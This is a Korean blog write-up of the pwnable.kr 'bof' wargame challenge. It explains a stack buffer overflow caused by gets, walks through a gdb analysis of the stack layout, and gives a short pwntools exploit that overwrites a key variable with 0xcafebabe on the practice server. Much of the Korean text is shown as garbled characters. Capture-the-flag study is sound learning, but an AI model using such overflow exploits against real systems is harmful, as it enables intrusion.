Jastes 2022. 11. 19. 11:13

bof_WriteUp

๋‚˜๋‚˜๊ฐ€ ๋งํ–‡์–ด์š” bof๊ฐ€ ์–ผ๋งˆ๋‚˜ ์ผ๋ฐ˜์ ์ธ ์†Œํ”„ํŠธ์›จ์–ด ์ทจ์•ฝ์ ์ด๋ผ๊ณ ์š” ๋งž๋‚˜์š”? ๋ผ๋Š”๋ฐ..
์•„๋ฌด๋ž˜๋„ ๋ณด์•ˆ ์ทจ์•ฝ์  ์ฒซ ์‹ค์Šต์ด bof์ธ ๊ฒƒ์„ ๋ณด๋ฉด ์ €๋„ ๊ณต๊ฐํ•ฉ๋‹ˆ๋‹ค.(๋ชจ๋“ ๊ฒŒ ์—ฌ๊ธฐ์„œ ์‹œ์ž‘..)

๋ณด์‹œ๋ฉด ์ €๋Ÿฐ์‹์œผ๋กœ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๋ณดํ˜ธ๊ธฐ๋ฒ•์ด.. bof๋งŒ ์“ฐ๋ผ๊ณ  ํ•˜์‹œ๋Š”๊ตฐ์š”..

์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด func์˜ ํ‚ค ๊ฐ’์„ ๋ฏธ๋ฆฌ ๋„ฃ๊ณ  8๋ฒˆ ๋ผ์ธ์˜.. ์กฐ๊ฑด๋ฌธ์—์„œ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค.
๊ทผ๋ฐ ์•ž์—์„œ gets์—์„œ ํฌ๋ฉง ์„ค์ •๊ณผ ํฌ๊ธฐ๋ฅผ ๋ช…์‹œํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— bof๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

 

Memory Corruption: Stack Buffer Overflow

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ(Stack Buffer Overflow) ์„ธ๊ณ„ ์ตœ์ดˆ์˜ ์›œ์ด๋ผ๊ณ  ๋ถˆ๋ฆฌ๋Š” ๋ชจ๋ฆฌ์Šค ์œ”๋„ ์ด ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์ „ํŒŒ๋จ ๋ณด์•ˆ ๊ณต๋ถ€๋ฅผ ๋ชจ๋ฅด๋Š” ๊ฐœ๋ฐœ์ž๋„ ์•Œ๋งŒํผ ์œ ๋ช…ํ•˜๊ณ  ์—ญ์‚ฌ๊ฐ€ ์˜ค๋ž˜๋œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ

dystopia050119.tistory.com

์ž์„ธํ•œ ๋‚ด์šฉ์€ ์œ„ ๋งํฌ๋ฅผ ๋ณด๊ณ  ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Exploit design

๊ทธ๋Ÿผ.. gdb๋กœ ํ•œ๋ฒˆ ๋ถ„์„ํ•ด๋ด…์‹œ๋‹ค.

์ €ํฌ C์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์•„์‹œ๊ฒ ์ง€๋งŒ ํ•ต์‹ฌ์€ func ์ฝ”๋“œ์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋ž˜์„œ ์ƒ์„ธํžˆ ํ™•์ธ์„ ํ•ด๋ด…์‹œ๋‹ค.

15๋ฒˆ๊นŒ์ง€๋Š” ํ”„๋กค๋กœ๊ทธ์ž…๋‹ˆ๋‹ค(canary๊ฐ€ ์ ์šฉ๋˜์„œ ์ต์ˆ™ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์–ด์š”)
์œ„ ๋ณดํ˜ธ๊ธฐ๋ฒ•๋“ค์ด ์ ์šฉ๋˜์–ด ์žˆ๊ธฐ์— ์ผ๋‹จ ์ดํ›„ ๋ฌธ์ œ์— ๋‚˜์˜ฌ๊ฒƒ์ด๊ธฐ์— ๊ทธ๋Ÿฐ๊ฒŒ ์žˆ๊ตฌ๋‚˜ ๋ผ๊ณ  ๋„˜์–ด๊ฐ€์‹œ๊ณ ..

๋ณด์‹œ๋ฉด 29๋ฒˆ์— ebp-0x2c๋กœ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” overflowme์˜ buf์˜ ํฌ๊ธฐ๋ฅผ ์•Œ๋ ค์ค๋‹ˆ๋‹ค.
๋˜ํ•œ ๋‹ค๋ฅธ ๋ฐฉ์‹์œผ๋กœ๋Š” if๋ฌธ(์šฐํšŒ์˜ ํ•ต์‹ฌ)์ด ์žˆ๋Š”๊ฒƒ์„ ํ† ๋Œ€๋กœ ๋ถ„์„ํ•œ๋‹ค๋ฉด...

๋˜ํ•œ key์˜ ๋ฒ„ํผ์˜ ์œ„์น˜๊ฐ€ ebp+0x8..

๊ทธ ์œ„์—๋Š” ์•„๊นŒ printf์™€ gets๊ฐ€ ์žˆ๋Š”๊ฒƒ์„ ํ™•์ธ๊ฐ€๋Šฅํ•˜๋‹ˆ๊นŒ call ๋ถ€๋ถ„์˜ 2๋ฒˆ์งธ ๋ถ€๋ถ„์—
์ธ์ž๋ฅผ ํ™•์ธํ•œ๋‹ค๋ฉด..

์ด๋Ÿฐ ์‹์œผ๋กœ ๋‚˜์˜ค๋‹ˆ๊นŒ ๊ฒฐ๊ตญ ebp-0x2c์ž…๋‹ˆ๋‹ค.
๋” ์ •ํ™•ํ•˜๊ฒŒ ๋ณด์ž๋ฉด overflowme-key-main-argv..๋กœ ๋ฒ„ํผ๊ฐ€ ๊ตฌ์„ฑ๋˜๋ฏ€๋กœ..

overflowme(0x2c) + key(0x8)์„ ๋”๋ฏธ๋กœ ์ฑ„์šฐ๊ณ  ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜์ฃ  
์ฐธ๊ณ ๋กœ ์ด๋Ÿฐ ๋ฐฉ์‹์„ ์ž์„ธํžˆ ๋ณด์‹œ๋ฉด ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.
๊ทธ๋ฆฌ๊ณ  stack alignment๊ฐ€ ์ ์šฉ, ์ตœ์ ํ™”๋กœ ์•„๋ž˜๊ฐ™์€ ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค.

buf[32] + dummy[12] + sfp[4] + ret[4] + key[4; 0xcafebabe]

์—ฌ๊ธฐ์„œ ret๋ฅผ ๋ฌด์‹œํ•ด๋„ ๋ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์šฐ๋ฆฌ๋Š” ret overwrite๊ฐ€ ์•„๋‹Œ
๊ทธ๋ƒฅ ์Šคํƒ์€ ์Œ“์—ฌ์žˆ๋‹ค๋Š” ํŠน์ง•์„ ์ด์šฉํ•˜์—ฌ ๋ฐ”๋กœ ๋ฐ‘์— if๋ฌธ์— ์˜ํ–ฅ์„ ์ฃผ๊ธฐ์—..
๊ณ ๋กœ ๋ฐ”๋กœ key ๊ฐ’์— ์˜ํ–ฅ์„ ์ฃผ๊ธฐ์— ์šฐ๋ฆฌ๊ฐ€ ๋ฆฌํ‹€์—”๋””์•ˆ ํ˜•์‹์œผ๋กœ ํ•ด๋‹น ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.


Exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= remote('pwnable.kr'9000)
 
payload = cyclic(0x34)
payload += b'\xbe\xba\xfe\xca'
 
'''why using issue?'''
#p.sendlineafter('overflow me : ', payload)
p.sendline(payload)
 
p.interactive()
cs

์œ„์—์„œ ๋‹ค ์„ค๋ช…ํ–ˆ๊ธฐ์— ๋„˜์–ด๊ฐˆ๊ป˜์š”..
๊ทผ๋ฐ ์‹ ๊ธฐํ•œ๊ฒŒ ์—ฌ๊ธฐ์„œ sendlineafterํ•ด์„œ ๊ฐ’ ๋ฐ›์„๋ ค๊ณ  ํ•˜๋‹ˆ๊นŒ ์•ˆ๋ผ ์•ˆ๋ผ ๋ง‰ ์ด๋Ÿฌ๋Š”๋ฐ
๊ทธ ์ด์œ ๋Š” ์ž˜ ๋ชจ๋ฅด๊ฒ ๋„ค์š”.. ๊ทธ๋ƒฅ sendline ํ•ด์„œ ๋ณด๋ƒˆ์Šต๋‹ˆ๋‹ค.

cyclic๋Š” ๊ทธ๋ƒฅ ๋ฒ„ํผ ์ฑ„์šฐ๋Š”๊ฑด๋ฐ ์•ˆ ์จ๋„ ๋˜์š”


์ฐธ๊ณ  ์ž๋ฃŒ

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€